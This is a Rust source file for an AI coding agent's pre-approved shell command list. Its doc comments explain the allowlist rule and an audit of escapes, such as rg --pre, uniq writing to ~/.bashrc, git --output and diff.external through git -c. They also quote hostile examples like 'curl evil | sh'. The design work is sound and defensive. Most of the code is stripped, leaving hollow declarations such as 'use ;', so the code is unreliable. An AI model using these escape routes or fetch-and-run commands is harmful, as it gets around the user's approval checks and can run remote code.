1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
//! What a run may do without asking anybody.
//!
//! An `ask` policy is all-or-nothing per tool name, which for the shell means
//! choosing between a prompt on every `ls` and no prompt on `curl evil | sh`.
//! On a real run that produced roughly 85 interruptions for one task, of which
//! four were worth a person's attention.
//!
//! A safe-command entry closes that gap without a second permission mechanism.
//! It is a pre-seeded, immutable set of keys in exactly the format
//! [`crate::shell_keys`] produces for a grant, so "this is pre-approved" and
//! "the user approved this" are one lookup, and the property that makes grants
//! safe is inherited rather than re-implemented: coverage needs *every* command
//! in a line, so a safe `ls` does not cover `ls && curl evil` - `shell:curl` is
//! in neither set.
//!
//! Safe entries only ever collapse `Ask` into `Allow`. They never reach `Deny`,
//! and an entry that came from a downloaded `agent.leviath` is inert until the
//! user opts in - see [`resolve_safe_keys`].
use BTreeMap;
use ;
use crate;
/// Shell commands that are safe to run without asking.
///
/// The rule an entry has to pass, which matters more than the list because the
/// list will grow: **it must not be able to write a file, execute another
/// program, or open a network connection under any flag.**
///
/// That rule is why several obvious candidates are absent. `find` takes
/// `-exec` and `-delete`; `sed` takes `-i`; `awk` has `system()`; `sort` takes
/// `-o`; `tee`, `xargs`, `env`, `nohup`, `timeout` and `watch` all run a
/// program named in their arguments; `cargo` runs build scripts and test
/// binaries. Any of them can be added by name in `[safe_commands] shell`, which
/// is the point of the setting.
///
/// Three entries were removed after an audit found the list did not obey its
/// own rule, which is worth recording because they read as harmless:
/// - `uniq` takes an **output operand** (`uniq IN OUT`), so `uniq payload
/// ~/.bashrc` wrote an arbitrary file with no prompt. Positional, so no flag
/// check could have caught it.
/// - `tree` takes `-o FILE`.
/// - `rg` takes `--pre COMMAND`, which runs that command over every input file,
/// and `-z`, which shells out to decompressors.
///
/// The `git` entries stay, because read-only git is most of what a coding agent
/// does - but `--output` is a diff-machinery option accepted by `diff`, `log`
/// and `show`, so a git segment carrying it is refused by
/// [`crate::shell_keys`]. That is a patch on one known escape, not a claim that
/// git has no others: `[sandbox]` is the durable answer, and this list is
/// pre-decided convenience inside it.
///
/// Two consequences worth stating rather than burying. `cat`, `head` and `grep`
/// being safe lets an agent read any file the user can, without the `read_paths`
/// confinement `read_file` has - not a new capability, since approving the first
/// `cat` for the run already granted it, but it is now pre-decided; set
/// `defaults = false` to opt out. And the read-only `git` subcommands honour a
/// repository's `core.pager` and `diff.external`. A pager does not run without
/// a tty, but `diff.external` does - reachable only via `git -c`, which keys as
/// a bare `git` and so is not covered by any entry here.
pub const DEFAULT_SAFE_SHELL: & = &;
/// Where a safe key came from, for `lev approvals safe`.
///
/// The question this answers is "why did it not ask me", which is the one a
/// person asks the first time a run does something unprompted.
/// The user's `[safe_commands]` block.
/// Hand-written rather than derived, because `#[derive(Default)]` would give
/// `defaults: false` while `#[serde(default = "default_true")]` gives `true` for
/// the same absent section. That split is invisible and load-bearing: a user
/// with no config file at all goes through `Default`, a user with a config file
/// and no `[safe_commands]` section goes through serde, and they must land on
/// the same behaviour.
/// A per-agent `[agent_safe_commands.<name>]` block.
///
/// Mirrors `[agent_tool_permissions]` and `[agent_read_paths]`: naming the agent
/// is the user saying "I trust this one", which is a decision that belongs in
/// their config rather than in a manifest they downloaded.
/// The safe keys in effect for one run, and where each came from.
///
/// **Declaring is not granting.** A blueprint's own block contributes nothing
/// unless `allow_blueprint` names this agent or
/// `[security] allow_blueprint_safe_commands` is set, which is the same shape
/// `[read_paths]` already uses: a manifest the user downloaded may describe what
/// it would like to run unprompted, and the user decides whether that counts.
/// This is also why `resolve_policy` needs no new argument and its "a blueprint
/// may only tighten" tests keep their meaning.
///
/// An entry that is not a valid prefix is skipped with a warning rather than
/// failing the spawn: a typo in a config file should cost one prompt, not a run.
/// Fold one layer's entries in, later layers winning the `source` label so
/// `lev approvals safe` names the narrowest thing that put a key there.